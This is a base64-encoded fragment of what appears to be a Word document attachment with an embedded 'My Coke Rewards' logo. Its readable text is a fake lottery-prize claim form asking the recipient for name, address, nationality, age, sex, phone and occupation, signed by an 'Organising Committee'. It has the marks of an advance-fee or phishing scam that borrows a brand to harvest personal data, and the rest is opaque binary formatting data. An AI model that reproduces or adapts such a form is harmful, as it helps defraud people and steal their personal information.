CgAAAP////8AAAA1FWj5Uo8AFmiGOD8ANQiBQioBT0oCAFFKAgBeSgIAZkgA
AXBoAAAAAHHKCgAAAP////8AAAA6FWhGKnsAFmhGKnsAQioBQ0oQAE9KAgBR
SgIAXkoCAGFKEABmSAABcGgAAAAAccoKAAAA/////wAAAAAsFmjQWQAAQioB
T0oCAFFKAgBeSgIAZkgAAXBoAAAAAHHKCgAAAP////8AAAAANRVo0FkAABZo
hjg/ADUIgUIqAU9KAgBRSgIAXkoCAGZIAAFwaAAAAABxygoAAAD/////AAAA
AA0VDQAAHQ0AACgNAAAsDQAANA0AAEUNAAB1DQAAjw0AAKkNAACqDQAAqw0A
AOTJrsmTyXZZPB0AAAAAPRVo+VKPABZoWnLHADUIgUIqAUNKEABPSgIAUUoC
AF5KAgBhShAAZkgAAXBoAAAAAHHKCgAAAP////8AAAA5FWj5Uo8AFmiGOD8A
MEoQADUIgUIqAU9KAgBRSgIAXkoCAGZIAAFwaAAAAABxygoAAAD/////AAAA
ORVo+VKPABZobC+GADBKEAA1CIFCKgFPSgIAUUoCAF5KAgBmSAABcGgAAAAA
ccoKAAAA/////wAAADkVaPlSjwAWaGkeogAwShAANQiBQioBT0oCAFFKAgBe
SgIAZkgAAXBoAAAAAHHKCgAAAP////8AAAA1FWj5Uo8AFmjNbC8ANQiBQioB
T0oCAFFKAgBeSgIAZkgAAXBoAAAAAHHKCgAAAP////8AAAA1FWj5Uo8AFmhs
L4YANQiBQioBT0oCAFFKAgBeSgIAZkgAAXBoAAAAAHHKCgAAAP////8AAAA1
FWj5Uo8AFmiGOD8ANQiBQioBT0oCAFFKAgBeSgIAZkgAAXBoAAAAAHHKCgAA
AP////8AAAA1FWj5Uo8AFmigI6wANQiBQioBT0oCAFFKAgBeSgIAZkgAAXBo
AAAAAHHKCgAAAP////8AAAAACqsNAADGDQAADQ4AAA4OAAAPDgAAJA4AACUO
AAAmDgAANw4AAOTJrpd/Z0wxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANRVogV2JABZo9FQAADUIgUIq
Bk9KAgBRSgIAXkoCAGZIAAFwaP8AAABxygoAAAD/////AAAANRVoLXRNABZo
TxpSADUIgUIqAk9KAgBRSgIAXkoCAGZIAAFwaAAA/wBxygoAAAD/////AAAA
LxZoLXRNADUIgUIqAk9KAgBRSgIAXkoCAGZIAAFwaAAA/wBxygoAAAD/////
AAAALxZo+VKPADUIgUIqAk9KAgBRSgIAXkoCAGZIAAFwaAAA/wBxygoAAAD/
////AAAALBZoLXRNAEIqAU9KAgBRSgIAXkoCAGZIAAFwaAAAAABxygoAAAD/
////AAAAADUVaPlSjwAWaC10TQA1CIFCKgFPSgIAUUoCAF5KAgBmSAABcGgA
AAAAccoKAAAA/////wAAADUVaPlSjwAWaGkeogA1CIFCKgFPSgIAUUoCAF5K
AgBmSAABcGgAAAAAccoKAAAA/////wAAADUVaPlSjwAWaE8aUgA1CIFCKgFP
SgIAUUoCAF5KAgBmSAABcGgAAAAAccoKAAAA/////wAAAAAINw4AADoOAABn
DgAAcA4AAKcOAAC1DgAAtg4AAMEOAADPDgAA0A4AANEOAADnDgAA/w4AAGAP
AABuDwAAbw8AAOTJ5Mnkya7Jln6WY0gwSAAAAAAAAAAAAAAAAAAAAAAALxZo
LXRNADUIgUIqAU9KAgBRSgIAXkoCAGZIAAFwaAAAAABxygoAAAD/////AAAA
NRVo0FkAABZoLXRNADUIgUIqAU9KAgBRSgIAXkoCAGZIAAFwaAAAAABxygoA
AAD/////AAAANRVoUH5kABZoLXRNADUIgUIqAU9KAgBRSgIAXkoCAGZIAAFw
aAAAAABxygoAAAD/////AAAALxZoTxpSADUIgUIqBk9KAgBRSgIAXkoCAGZI
AAFwaP8AAABxygoAAAD/////AAAALxZoLXRNADUIgUIqBk9KAgBRSgIAXkoC
AGZIAAFwaP8AAABxygoAAAD/////AAAANRVogV2JABZoTxpSADUIgUIqBk9K
AgBRSgIAXkoCAGZIAAFwaP8AAABxygoAAAD/////AAAANRVogV2JABZo9FQA
ADUIgUIqBk9KAgBRSgIAXkoCAGZIAAFwaP8AAABxygoAAAD/////AAAANRVo
gV2JABZogV2JADUIgUIqBk9KAgBRSgIAXkoCAGZIAAFwaP8AAABxygoAAAD/
////AAAAAA9VDwAAbw8AAKgPAACpDwAAOSgAADooAABAKAAASSgAAFYoAABb
KAAAYCgAAHAoAAB1KAAAgSgAAIIoAADJKAAAyigAANwoAADdKAAA8igAAAkp
AAAKKQAA+gAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADsAAAAAAAAAAAAAAAA
5AAAAAAAAAAAAAAAAN8AAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAA1wAAAAAA
AAAAAAAAANcAAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAA1wAAAAAAAAAAAAAA
ANcAAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAA1wAAAAAAAAAAAAAAANIAAAAA
AAAAAAAAAADSAAAAAAAAAAAAAAAA0gAAAAAAAAAAAAAAANIAAAAAAAAAAAAA
AADSAAAAAAAAAAAAAAAA0gAAAAAAAAAAAAAAANIAAAAAAAAAAAAAAADfAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAZ2RacscAAAcAAAMkA2EkA2dk
7x/rAAAEAABnZIY4PwAABwAAAyQDYSQDZ2RpHqIAAAQAAGdkTxpSAAkAADck
ADgkAEgkAGdk3HshAAAEAABnZC10TQAAFW8PAAB3DwAApw8AAKgPAACpDwAA
tg8AAMsPAAAAKAAANygAADgoAAA5KAAAOigAAOTHqox0WVd0WTweADoVaNBZ
AAAWaFpyxwBCKgFDShAAT0oCAFFKAgBeSgIAYUoQAGZIAAFwaAAAAABxygoA
AAD/////AAAAADUVaNBZAAAWaIY4PwA1CIFCKgFPSgIAUUoCAF5KAgBmSAAB
cGgAAAAAccoKAAAA/////wAAAANVCAE1FWjQWQAAFmhacscANQiBQioBT0oC
AFFKAgBeSgIAZkgAAXBoAAAAAHHKCgAAAP////8AAAAvFmjfMpAANQiBQioB
T0oCAFFKAgBeSgIAZkgAAXBoAAAAAHHKCgAAAP////8AAAA6FWjfMpAAFmhP
GlIAQioBQ0oQAE9KAgBRSgIAXkoCAGFKEABmSAABcGgAAAAAccoKAAAA////
/wAAAAA5FWj0VAAAFmjceyEAQioCQ0ocAE9KAgBRSgIAXkoCAGFKHABtSAkE
bkgJBHBoAAD/AHNICQR0SAkEORVo9FQAABZo9FQAAEIqAkNKHABPSgIAUUoC
AF5KAgBhShwAbUgJBG5ICQRwaAAA/wBzSAkEdEgJBDUVaNBZAAAWaGkeogA1
CIFCKgFPSgIAUUoCAF5KAgBmSAABcGgAAAAAccoKAAAA/////wAAAAALaW5m
b3JtYXRpb24gZm9yIHByb2Nlc3Npbmcgb2YgeW91ciB3aW5uaW5nIHByaXpl
IChmdW5kKS4NDU5BTUU6DUFERFJFU1M6DU5BVElPTkFMSVRZOg1TRVg6DUFH
RToNUEhPTkUgLyBNT0JJTEU6DUZBWDoNT0NDVVBBVElPTjoNDVlvdXIgRW1h
aWwgQXR0YWNoZWQgdG8gUkVGOiBHTUwtUzM0My1LS1QtODgxMSBhbmQgQkFU
OiA1NlQtRFRINzggWkE5OSANDVlvdXJzIFNpbmNlcmVseSwgDQ1NcnMuIFRo
ZXJlc2EgRGUgS2F0eg0oT3JnYW5pc2luZyBDb21taXR0ZWUpDQ0AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA6KAAAPygAAEAoAABIKAAATCgAAFUoAABWKAAAWigA
AFsoAABfKAAAYCgAAGUoAABmKAAAZygAAGgoAABvKAAAcCgAAHQoAAB9KAAA
gCgAAIEoAACCKAAAmCgAAJkoAACmKAAA5MnkyeTJscmxyeSx5LHkyeTJ5MmT
eF5DAAAAAAAAAAAAADUVaIFdiQAWaFpyxwA1CIFCKgJPSgIAUUoCAF5KAgBm
SAABcGgAAP8AccoKAAAA/////wAAADIVaIFdiQAWaFpyxwBCKgJPSgIAUUoC
AF5KAgBmSAABcGgAAP8AccoKAAAA/////wAAAAA1FWj5Uo8AFmhacscANQiB
QioBT0oCAFFKAgBeSgIAZkgAAXBoAAAAAHHKCgAAAP////8AAAA6FWjQWQAA
FmhacscAQioBQ0oQAE9KAgBRSgIAXkoCAGFKEABmSAABcGgAAAAAccoKAAAA
/////wAAAAAvFmjQWQAANQiBQioCT0oCAFFKAgBeSgIAZkgAAXBoAAD/AHHK
CgAAAP////8AAAA1FWjQWQAAFmhacscANQiBQioCT0oCAFFKAgBeSgIAZkgA
AXBoAAD/AHHKCgAAAP////8AAAA1FWjQWQAAFmhpHqIANQiBQioCT0oCAFFK
AgBeSgIAZkgAAXBoAAD/AHHKCgAAAP////8AAAAAGKYoAADDKAAAxSgAAMgo
AADJKAAAyigAANkoAADcKAAA3SgAAOfMsZZ4XUIkAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAADoVaNBZAAAWaNBZAABCKgFDShAAT0oCAFFKAgBeSgIA
YUoQAGZIAAFwaAAAAABxygoAAAD/////AAAAADUVaPlSjwAWaFpyxwA1CIFC
KgFPSgIAUUoCAF5KAgBmSAABcGgAAAAAccoKAAAA/////wAAADUVaPlSjwAW
aN8ykAA1CIFCKgFPSgIAUUoCAF5KAgBmSAABcGgAAAAAccoKAAAA/////wAA
ADoVaNBZAAAWaM1sLwBCKgFDShAAT0oCAFFKAgBeSgIAYUoQAGZIAAFwaAAA
AABxygoAAAD/////AAAAADUVaNBZAAAWaFpyxwA1CIFCKgFPSgIAUUoCAF5K
AgBmSAABcGgAAAAAccoKAAAA/////wAAADUVaIFdiQAWaFpyxwA1CIFCKgJP
SgIAUUoCAF5KAgBmSAABcGgAAP8AccoKAAAA/////wAAADUVaIFdiQAWaNBZ
AAA1CIFCKgJPSgIAUUoCAF5KAgBmSAABcGgAAP8AccoKAAAA/////wAAAC8W
aIFdiQA1CIFCKgJPSgIAUUoCAF5KAgBmSAABcGgAAP8AccoKAAAA/////wAA
AAAI3SgAAO0oAADxKAAA8igAAPMoAAAHKQAACCkAAAkpAAAKKQAA5Mnkq+Sr
jYIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUFWgsXKYA
FmiGOD8AQ0ocAGFKHAAAOhVogV2JABZozWwvAEIqBkNKHABPSgIAUUoCAF5K
AgBhShwAZkgAAXBo/wAAAHHKCgAAAP////8AAAAAOhVogV2JABZo0FkAAEIq
BkNKHABPSgIAUUoCAF5KAgBhShwAZkgAAXBo/wAAAHHKCgAAAP////8AAAAA
NRVogV2JABZogV2JADUIgUIqBk9KAgBRSgIAXkoCAGZIAAFwaP8AAABxygoA
AAD/////AAAANRVogV2JABZo0FkAADUIgUIqBk9KAgBRSgIAXkoCAGZIAAFw
aP8AAABxygoAAAD/////AAAAAAgsADGQaAEfsIIuILDGQSGwCAcisAgHI5Cg
BSSQoAUlsAAAF7DEAhiwxAIMkMQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHkPAABEAGQA
AAAAAAAACAAAAAAAAAAAAAAAAADgEOAQqwGsAAAAAAAAAAAAAAAAAAAAAAAA
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
KkvK9fuX2Ibx4v6zyn6YXffpOpfJZOJWfWYaMmx02VJAJatFswwza1oGjIHp
eCSOuqZIU6XKrFxuyiwvLxNSfAizPt13s/IQkTfKOT95Jflv7Iw8v+vbuEEq
lU/8ZVf8Qox8hbdV2jZGtdJcTd4J4zix+7ZawwapV85Wl7e7WedZPFt4Vb1V
o1go+8Hk51eFwko2my0Udl8Fa9EoVkEJG8Xf2v34PyBsCrsovwm7KB+HUOBd
+4fUf35IEZry2zBK6t8/pn78V4rQlI/CKKl//CX1/n2K0JQPwiipv/7xv6k/
pQhN+TCMkvrzP//+/m8pQlPOhF2UTDHcklF2wg1Y3FHewP9PCrO8UTZ/2guz
/LSplDffzL4OKePr2Teb5f8BStEP63xBNOEAAAAASUVORK5CYIIAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACGAhMAEgAB
AJwADwAEAAAAAAAAAAAABAAIAAAACAAAAA4AAAAOAAAADgAAAA4AAAAOAAAA
DgAAAA4AAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABAAABA8f8CAEAADBQAAAAAAAAAAAYATgBvAHIAbQBhAGwA
AAACAAAAGABDShgAX0gBBGFKGABtSAkIc0gJCHRICQgAAAAAAAAAAAAAAAAA
AAAAAABEAEFA8v+hAEQADAUAAAAAAAAAABYARABlAGYAYQB1AGwAdAAgAFAA
YQByAGEAZwByAGEAcABoACAARgBvAG4AdAAAAAAAUgBpAPP/swBSAAwFAAAA
AAAAAAAMAFQAYQBiAGwAZQAgAE4AbwByAG0AYQBsAAAAHAAX9gMAADTWBgAB
CgNsADTWBgABBQMAAGH2AwAAAgALAAAAKABrAPT/wQAoAAAFAAAAAAAAAAAH
AE4AbwAgAEwAaQBzAHQAAAACAAwAAAAAAEIA/k+iAPEAQgAMAAAAhjg/AAAA
FQBhAHAAcABsAGUALQBjAG8AbgB2AGUAcgB0AGUAZAAtAHMAcABhAGMAZQAA
AAAAOAD+T6IAAQE4AAwAAABacscAAAAQAGEAcABwAGwAZQAtAHMAdAB5AGwA
ZQAtAHMAcABhAG4AAAAAADQAVUCiABEBNAAMAAAA6wMqAAAACQBIAHkAcABl
AHIAbABpAG4AawAAAAkAPioBcGgAAP8AACoAV0CiACEBKgAMAAAAgV2JAAAA
BgBTAHQAcgBvAG4AZwAAAAYANQiBXAiBAAAAABEHAAADAAAwAAAAAP////8A
AAAAcAAAAKQAAADUAAAA9AAAAPUAAAACAQAAAwEAAPgBAAD5AQAAJAMAACUD
AADmAwAA5wMAAEoEAABLBAAAYgQAAIoEAACtBAAAzgQAAA0FAAAOBQAAIwUA
ADsFAABYBQAAdgUAAJEFAACrBQAA5AUAAOUFAABABgAAQQYAAEcGAABQBgAA
XQYAAGIGAABnBgAAdwYAAHwGAACIBgAAiQYAANAGAADRBgAA4wYAAOQGAAD5
BgAAEAcAABMHAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAw
AAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAA
AAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAA
AIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACY
AAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACA
AAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAA
AAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAA
AAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAA
gAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgA
AAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAA
AAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAA
AAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAA
AAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACA
AAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAA
AAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJhAAAAAMAAAAAAAAACAAAAAgAAA
AAAAAAAAAACYQAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmEAAAAAwAAAA
AAAAAIAAAACAAAAAAAAAAAAAAJhAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAA
AACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAA
